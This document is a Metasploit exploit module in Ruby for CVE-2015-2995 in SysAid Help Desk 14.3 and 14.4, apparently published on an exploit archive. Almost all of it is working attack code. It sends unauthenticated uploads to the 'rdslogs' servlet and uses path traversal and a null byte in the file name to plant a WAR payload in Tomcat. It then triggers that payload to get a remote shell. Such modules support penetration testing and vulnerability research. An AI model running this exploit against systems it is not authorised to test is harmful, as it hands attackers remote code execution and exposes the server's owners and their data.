SysAid Help Desk ‘rdslogs’ – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated file uploads and handles zip file contents in a insecure way. By combining both weaknesses, a remote attacker can accomplish remote code execution. Note that this will only work if the target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection against null byte injection in file names. This module has been tested successfully on version v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability from being exploited. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-2995' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 3 2015')) register_options( [ Opt::RPORT(8080), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for WAR deployment', 15]), OptString.new('TARGETURI', [true, 'Base path to the SysAid application', '/sysaid/']) ], self.class) end def check servlet_path = 'rdslogs' bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', 'vars_get' => { 'rdsName' => bogus_file } }) if res && res.code == 200 return Exploit::CheckCode::Detected end end def exploit app_base = rand_text_alphanumeric(4 + rand(32 - 4)) tomcat_path = '../../../../' servlet_path = 'rdslogs' # We need to create the upload directories before our first attempt to upload the WAR. print_status("#{peer} - Creating upload directory") bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))), 'ctype' => 'application/xml', 'vars_get' => { 'rdsName' => bogus_file } }) war_payload = payload.encoded_war({ :app_name => app_base }).to_s # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail print_status("#{peer} - Uploading WAR file...") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(war_payload), 'ctype' => 'application/octet-stream', 'vars_get' => { 'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00" } }) # The server either returns a 200 OK when the upload is successful. if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment") register_files_for_cleanup("tomcat/webapps/#{app_base}.war") else fail_with(Failure::Unknown, "#{peer} - WAR upload failed") end 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end |